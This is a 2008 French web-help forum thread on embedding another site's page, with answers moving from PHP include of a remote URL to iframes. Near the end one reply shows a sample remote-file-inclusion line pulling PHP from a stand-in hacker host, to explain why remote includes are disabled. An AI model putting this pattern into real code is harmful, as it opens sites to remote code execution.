Insérer une page web dans une autre

Fermé
BillG - 19 nov. 2008 à 10:41
xxkirastarothxx Messages postés 378 Date d'inscription vendredi 19 octobre 2007 Statut Membre Dernière intervention 22 mars 2013 - 19 nov. 2008 à 12:15
Bonjour,


J'aimerais insérer une page web à l'intérieur d'une autre. Comment faire s.v.p. ?

voici un exemple. :

mon site serait qq chose comme : www.abc123cba321.com

mais dans le bas de la page de ce site, j'aimerais afficher la page d'un autre site.


un grand merci pour vos réponses
A voir également:

8 réponses

re,

je précise que je désire voir le contenu de la page web insérée dans mon site.

Imaginez que vous avez votre site et que vous ajoutiez un espace pour voir la météo du jour à même votre site. Donc avec le lien du site de météo de votre région intégré dans votre site.

Moi ce sera pour voir les mises à jour d'un site en relation avec le mien. Je veux voir les mises à jour de ce site dans le mien.


Des solutions? m'ais-je bien exprimé?
0
xxkirastarothxx Messages postés 378 Date d'inscription vendredi 19 octobre 2007 Statut Membre Dernière intervention 22 mars 2013 40
19 nov. 2008 à 10:50
il faut que tu créé un page en php:
(index.php par exemple)
et tu insert ce code:
<?php
include("www.abc123cba321.com");
?>
Simplement :)
t'as pas du chercher beaucoup hein ;)

Quote: m'ais-je bien exprimé?
me suis-je ?? ^^

Si la réponse te conviens, penses a mètre en résolu ;)
0
c'est surtout que je ne sais pas exactement avec quel terme chercher sur mon ami préféré.

ok merci pour ta réponse. Je vais vérifier immédiatement. Merci également de me corriger... en passant avec "tu", fuat pas oublier le "s" ;P
0
Belgicain Messages postés 1 Date d'inscription mercredi 19 novembre 2008 Statut Membre Dernière intervention 19 novembre 2008
19 nov. 2008 à 11:01
Pour insérer une page d'un autre Site sur votre page, vous pouvez utiliser les frames, c'est à dire diviser votre document en 2 frames. Dans la première frame vous placez l' l'URL de votre propre page et dans la deuxième vous placez l' URL de la page d'un autre site que vous désirez placez dans votre page.

J' espère que vous maîtriser bien les notions de balise pour les frames, pour bien réaliser cet petit problème.
Merci.
0
xxkirastarothxx Messages postés 378 Date d'inscription vendredi 19 octobre 2007 Statut Membre Dernière intervention 22 mars 2013 40
19 nov. 2008 à 11:11
Avec le titre de ton topic dans google la réponse se trouvait dans sur le premier lien ^^
(bon, soit, je suis nul en orthographe/conjugaison/grammaire etc... mais à l'oral ma phrase serrai juste ^^)
Allez! bonne journée à toi ;)
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
re,

Belgicain, peux-tu copier/coller un exemple de code s.v.p. Ton idée me plaie bien.


xxkirastarothxx,

<?php
include("www.abc123cba321.com");
?>


je place ca entre <head> et </head> ?
ou après <body> ?


parce que la ca ne fait rien. je mets "www.google.com" comme site

<?php
include("www.google.com");
?>

et je ne le vois pas dans ma page .php . Dois-je ajouter http:// ?
0
xxkirastarothxx Messages postés 378 Date d'inscription vendredi 19 octobre 2007 Statut Membre Dernière intervention 22 mars 2013 40
19 nov. 2008 à 11:44
Heu... :$
Non c'est moi qui te raconte de la mer**
include c'est pour inclure un fichier php, pas un site externe

essaye plutot ça:
<IFRAME src="https://www.google.fr/?gws_rd=ssl" width=600 height=200 scrolling=auto frameborder=1 > </IFRAME>
(width: largeur en px height:hauteur en px; scrolling: met un ascenseur si la page dépasse les mesures; frameborder: bordure de frame)


Edit: et je continue dans ma serie de connerie ^^
Include marche correctement pour insérer une page externe, c'est ta config apache qui bloc.
lorsque tu utilisais include 'http://google.fr' tu as du avoir un message de ce style:

Warning: include() [function.include]: URL file-access is disabled in the server configuration in
ça veux dire qu'apache a désactivé l'inclusion de fichier externe (question de sécurité), mais ça se modifie dans ton apache.conf ;)

c'est lié à la directive allow_url_include (versions >= 5.2.0) et/ou allow_url_fopen dans php.ini ou apache.conf (sais pu)
mais il est déconseillé de modifier cet option, donc utilise bien <IFRAME> ;)
Tiens et pis un 'ti cadeau:
http://bernard.quevillier.pagesperso-orange.fr/index.htm
0
j'ai fais comme ca :

http://www.projetweb.com/labalise/documents/frames_exemple.html

mais j'ai lu que cette méthode est vieille et il est préférable d'utiliser include ...

mais bon ca fonctionne . Je vais mettre le sujet en résolu apres qq tests.

merci pour m'avoir conduit sur la bonne route
0
xxkirastarothxx Messages postés 378 Date d'inscription vendredi 19 octobre 2007 Statut Membre Dernière intervention 22 mars 2013 40
19 nov. 2008 à 12:15
les iframes sont effectivement obsolètes, mais c'est moins dangereux que d'inclure un fichier externe via include:
pour cela il faut modifier les configs sus-cité dans le php.ini, et pour beaucoup de développeur, les includes servent pour 99% des cas à inclure des fichiers stockés localement; des fois grâce a des variables passés en GET
le fait que l'inclusion d'url distante soit désactivé sert a éviter les inclusions du genre
include "http://un-vilain-hacker.com/pete-tout-ton-site.php";
;)

En gros: tu inclus un fichier distant (google / yahoo / msn / autre site externe) => utilise l'iframe
tu inclus un fichier stocké sur ton serveur => utilise l'include ( include ('chemin/relatif/vers/ton/fichier.php');)
0